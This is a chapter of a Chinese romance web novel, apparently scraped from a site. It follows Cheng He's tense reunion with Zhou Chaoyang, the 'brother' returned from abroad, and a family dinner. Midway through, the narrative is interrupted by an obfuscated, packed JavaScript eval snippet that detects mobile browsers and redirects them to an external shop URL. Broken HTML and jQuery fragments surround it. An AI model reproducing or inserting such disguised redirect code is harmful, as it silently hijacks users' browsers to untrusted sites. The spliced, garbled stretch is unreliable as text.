盛夏，暴雨。
下午三点的天空阴沉得密不透风，急促的雨点子砸在出租车窗上，噼里啪啦。
车内开着广播，上车不到半个小时，程禾已经听了快三遍的橙色预警。
按照往常，像这样寸步难行的恶劣天气，哪怕有天大的事，她也绝对不会回老宅来。但今天有点不太一样，因为……
那个人回来了。
老宅在城西，从学校过去，车程要将近一个小时。下车时运气好，雨停了。包里刚好有现金，她随手甩了一百过去，只多不少，没让找零。
这片全是高档别墅区，私密性强，出租车进不去，只停在了门口，剩下的路要程禾自己走。
暴雨浸润过的土地潮湿、暄软、泥泞，小羊皮的高跟鞋踩在上面，一踩一个坑。
一路勉强走到老宅门口，鞋废了，脚也快废了。
程禾扶着院门歇了歇脚，低头一看，脚上的高跟鞋被泥水染了色，已经看不出原本的模样。小腿上遍布泥点子，后脚踝更是被磨出一道红痕，明晃晃的。
简直狼狈透了。
老宅院子里种了蔷薇，正是花季，花香馥郁，混着雨后泥土和野草的清香，细细闻，其中还夹杂着一丝熟悉又陌生的烟草味。
很淡，似有若无，很久都没在老宅闻到了。
程禾扶着院门的手一颤，瞳孔急速收缩又放大，眸光剧烈晃动着。
意识还没等回拢，身体先一步有了反应。她一把推开院门，顺着找过去，原本酸沉的脚步愈发轻快起来。
靠近花丛，有交谈声飘出来。
院子里这时又起了风，吹得整颗心都晃了晃，花枝摇曳间，瞥见一片衣角背影。
男人靠着栏杆，两条胳膊松松散散撑在上面，没什么站相。
袖口被随意卷到手肘，小臂青筋微凸，肌肉紧贴着骨骼，线条清晰流畅，算不上夸张，却充满力量感。
身上的黑色衬衫被风吹鼓了起来，他也没在意，叼着根烟在跟面前人讲话，青白烟雾模糊了冷硬的下颌线，眉眼间戾气却难掩，野性凌厉，像狼又像狗。
只能说生了副顶好的人肉皮囊，却算不上什么好人的长相。
脚步不由自主的停住。
时隔四年，程禾终于再次见到这张朝思暮想的脸，他似乎成熟了，又似乎一切都没变。
她没有喊他，只是眼光灼灼望着他的侧脸，心脏像是开了瓶足气的可乐，碳酸泡沫咕嘟咕嘟溢了出来。
男人也没有注意到她，烟一口一口慢悠悠抽着，嘴里有一搭没一搭聊着这四年在国外的事。
内容多是关于女人的。
故事算不上多精彩，都是些男女之间正常社交的小事，若是别人说起来，自然是普通得不能再普通，乏味到不能再乏味。
可偏生到了他嘴里，莫名就染上了情、色的意味，暧昧，浪荡，不堪入耳。
带笑的嗓音散在烟雾里，低低哑哑，带着砂砾的颗粒感，模糊不清的搔刮着她的耳膜，磋磨着她的心脏。
这几年没她的日子，他似乎在外面过得不错。
不。
岂止是不错——是好，是特别好，简直是……逍遥快活！
刚才还滚烫汹涌的血液瞬间凝住，冰凉到彻骨，鞋底的泥泞也在此刻变得不堪入目。
最后还是司机周叔先发现了她，喊了声小姐。
男人也跟着看过来，喉咙里的话突然哽住，笑意凝固。目光紧锁着在她脸上刮过两圈，悬停在半空的烟才重新被塞回嘴里，深吸了一口，偏回头去继续说。
这支烟抽得格外漫长。
良久后，薄唇慢吞吞吐出最后一口烟，烟头被随手弹进垃圾桶，烟蒂上留了道很深的齿痕。
“杵在那儿当电线杆给谁看呢？”他对着她指节蜷屈着勾了两下，逗小狗似的：“过来。”
程禾心底的委屈翻涌成火，她对他的话充耳不闻，反而下颌微扬，脚尖向后一点，当着他的面，清清楚楚地又退了一步。
周朝阳愣了下，双眼盯着她，几秒后低笑出声，轻轻点头，语气玩味：“行啊，你不过来是吧？那我过去。”
他随手扇了两下，驱散烟雾后，站直上半身，迈着两条长腿吊儿郎当走近。
程禾视野一下子晦暗下来，光线被男人宽阔体型遮挡了大半，他停在她面前，耷拉眼皮看她，“会叫人吗？”
温热气息喷洒在她头顶，发丝轻动。
程禾抬头，没听懂：“什么？”
周朝阳挑眉，黑眸染光，浮动着隐约的笑意：“电话里不是挺会叫哥哥的吗？现在怎么不叫了？”
程禾眼睫快速扇动几下，别开脸，瓮声瓮气：“刚才没认出来。”
周朝阳捏着她下巴，硬把她脸掰回来，不依不饶：“现在呢？现在总认出来了吧？”
程禾眼睛瞪得溜圆，唇瓣抿得死紧，她拗着脾气，死活就是不肯叫那声“哥哥”。
周朝阳失笑，“故意的？”
“我有什么好故意的？”程禾甩开他的手，冷声冷语：“说真的，要不是你杵在这儿，我都想不起家里还有你这么号人了。”
“不过你也不能怪我，哪个当哥的只逢年过节才来通电话。知道的你是工作忙，不知道的……”
她斜眼瞥他，从鼻腔内哼了声：“不知道的还以为你是被国外的花花酒色迷住，勾得你乐不思蜀，连家都忘了呢。”
周朝阳笑意慢慢收敛，绷起脸，盯着她没说话，她却来劲儿了
“要我说啊，你都走了这么久了，还回来干嘛呀。我新养的小狗都睡在你房间了，你在这个家里没位置了，你知道吗？”
尾音落在风里，迟迟没得到该有的回应，周遭只剩死一般的沉寂。
“为什么不说话？”
“你说话呀！”
程禾刚输出完的情绪再次被点燃，理智彻底崩盘。
“你回来耳朵没带回来呀，跟个木头桩子似的杵着。刚才聊外人不是话挺多的吗？怎么？离了外面人，连话都不会说了？”
她憋不住脾气，抬手就锤：“既然这样，那你还回来干嘛呀！反正外面那么好，过得又快活，你不如就干脆死外面好了！”
女孩的拳头看着不大，但结结实实捶在周朝阳胸膛上时，硬得像块石头，捶得他闷哼，身形晃了晃，没稳住，往后踉跄了两步。
他饶是有再好的脾气也经不起这么折腾，火气蹿上来，一把攥住那只扬起的纤细手腕，恶声恶气：“行啦！打够了没有？”
程禾梗着脖子瞪他，不说话，也不嫌累，胸前剧烈起伏着，眼睛红得愈发厉害，随时都能掉下泪来。
这四年，日日夜夜，她的心全系在一个人身上，数着日子盼他回来，骨头缝里都渗着想念，就连重逢第一句话该用什么语气，都在心里演练了千百遍。
可他倒好——
一个眼神，三两句话，轻飘飘的就把她积攒了千万个日夜的东西变得一文不值，这叫她如何不委屈。
周朝阳眉心微皱，薄唇用力抿了抿，也没说话，视线却始终徘徊在她双眸间。
隔了许久，他闭眼沉沉吐了口气，塌下肩膀，弯腰与她平视：“哭屁啊，祖宗，你打的我。”
指腹带了老茧，粗鲁的擦过她泛红的眼尾，语气算不上有多好。
程禾被磨得眼睫直颤，鼻音很重：“你想我了没？”
周朝阳盯着她的眼睛，喉结滚了滚，又滚了滚，慢慢松开了手。他手插进口袋，倒退了两步，眉梢轻挑，又拽又欠：“我有病啊，没事想你干嘛。”
“那你给我带礼物了吗？”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310980|198841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“忘了。”
程禾又不说话了。
周朝阳瞥了眼她，语调闲闲的：“怎么？又要哭鼻子了？”
程禾只觉得他这个人坏透了，坏进骨子里，满肚子满心眼都是坏水，怎么也使不完。
她咬紧腮帮子，逼回泪意，憋着股气用力撞开他肩膀，动作的同时带起阵风，一股清淡甜香扑面而来。周朝阳被撞歪了身体，她却没有丝毫停留，拔腿就往别墅里走。
周朝阳站在原地，还保持着那个姿势，耷拉着眼皮，被撞的位置隐隐作痛。
“啧。”
他打了个响舌，转过身：“小丫头片子，四年不见脾气见长啊，你哥跟你开个玩笑，你也能下死手？”
没理。
周朝阳太阳穴跳了跳，咬紧后槽牙：“程禾！”
还是没理。
小羊皮高跟鞋蹬蹬上了台阶，长发扬起，裙摆在身后翻飞，泥泞的鞋印一路延伸至别墅内。
周朝阳叉着腰，绷着一张脸，黑眸翻滚。
空气里残余的甜香暗暗浮动。
他盯着她纤细窈窕的背影看了很久，突然偏开头嗤笑了声：“操，真行啊。”
停顿几秒，他迈开腿追上去。
男人步子大，没两步就已经来到程禾身后，骨节分明的大手扯着她后衣领一拽。力道算不上多大，但程禾还是因惯性往后微顷了下。
稳住身体后，漂亮的眉眼染上层薄怒，杏眼透亮，她回头想发火，一个礼物盒子却砸在她身上。
看清整个人瞬间怔住，怒色也同时凝固。
周朝阳松开手，歪头瞥她，语速慢悠悠的：“下次再给我整这出不值钱的样儿，就真没有了。”
他单手抄着兜，晃悠着往客厅方向走。
“不喜欢就丢。”拖腔拉调的声音飘过来。
程禾指尖蜷了蜷，绷紧的唇线慢慢舒展，唇角不听使唤地往上翘。
回到卧室打开盒子。
里面装着条项链，是个很小众的牌子，却很难买。款式也很特别，不算夸张，简单大方。
刚好是上周她ins点赞的那条。
—
老宅今晚的饭菜格外丰盛，大大小小的餐盘摆了满桌。
程禾妈妈去世得早，周朝阳出国那年，程禾高中还没毕业。
后来上了大学，她就搬到了宿舍，起先住不惯常回来，后面次数自然而然少了，老宅也就越来越冷清。
今天也算是程家近四年来人聚得最全的一次。
程禾下楼时，人已经齐了。
程父程震远坐在主位，周朝阳站在他侧首，耷拉着眼皮舀汤，可能是因为热，衬衣扣子解开了两颗，衣领微敞，锁骨轮廓随呼吸缓缓起伏。
程震远一眼就看见了她脖子上的新项链，不吝啬夸赞：“项链不错，新买的？”
“哥哥给买的。”程禾翩然拉开椅子，语调微扬。
程震远刚瞥开的视线又挪了回来，往她脖子上多看了两眼，盯着项链沉默良久，又问：“不便宜吧？”
话是对周朝阳说的，视线却没挪开。
“助理帮忙挑的，没问价。”周朝阳慢条斯理盛了碗汤，双手递过去，“爸，您的那份我已经让周叔帮着放在书房了，我亲自挑的。”
程震远五官舒展开来，唇角浮出慈爱的笑意：“还能想着我，你有心了。”
“不过朝阳啊……”他垂眼，慢慢搅动碗里的汤，声音平稳缓慢：“你和沈家那孩子最近相处得还顺利吧？”
“铛！”
“咚——”
勺子从程禾手里坠落，磕在汤碗边缘，反弹到桌上，滚了两下，晃悠着停住。
她没有捡，手还悬在半空，指尖却已僵直。她紧抿着唇，视线死死锁在对面男人的脸上。